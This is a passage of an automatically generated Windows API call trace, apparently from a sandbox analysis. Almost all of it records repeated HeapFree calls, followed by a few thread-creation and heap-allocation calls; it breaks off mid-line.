(in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.345] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4285090 | out: hHeap=0x5c0000) returned 1 [0206.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.551] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.552] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.553] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.554] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.559] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4284088 | out: hHeap=0x5c0000) returned 1 [0206.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.714] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.716] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.726] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4263070 | out: hHeap=0x5c0000) returned 1 [0206.742] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.747] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4273078 | out: hHeap=0x5c0000) returned 1 [0206.780] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4273078 | out: hHeap=0x5c0000) returned 1 [0206.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4273078 | out: hHeap=0x5c0000) returned 1 [0207.081] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4263070 | out: hHeap=0x5c0000) returned 1 [0207.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0207.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0207.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4263070 | out: hHeap=0x5c0000) returned 1 [0207.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0207.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0207.096] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0207.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0207.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0207.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0208.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.081] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.921] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.921] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0208.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0208.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0209.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0209.324] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.326] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.329] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.342] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.352] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.801] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.805] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.812] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.814] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0209.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.212] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.215] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.219] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.221] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.223] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.226] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.228] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.230] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.232] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.242] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.631] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c60b8 | out: hHeap=0x5c0000) returned 1 [0210.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b60b0 | out: hHeap=0x5c0000) returned 1 [0210.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0210.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x434a100 | out: hHeap=0x5c0000) returned 1 [0210.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0210.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.103] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.104] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.112] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.114] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.116] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.119] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.133] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.135] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.139] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 [0211.143] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x435a108 | out: hHeap=0x5c0000) returned 1 Thread: id = 97 os_tid = 0x4d4 [0205.489] GetTickCount () returned 0x1e01a [0205.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x680320 [0205.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x680320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0205.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x680320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0205.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x680320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0205.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x680320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0205.491] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6171e8 [0205.491] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6171e8, Size=0x20) returned 0x5fe9e0 [0205.491] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6170f8 [0205.491] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6170f8, Size=0x20) returned 0x5fea08 [0205.492] GetModuleHandleW 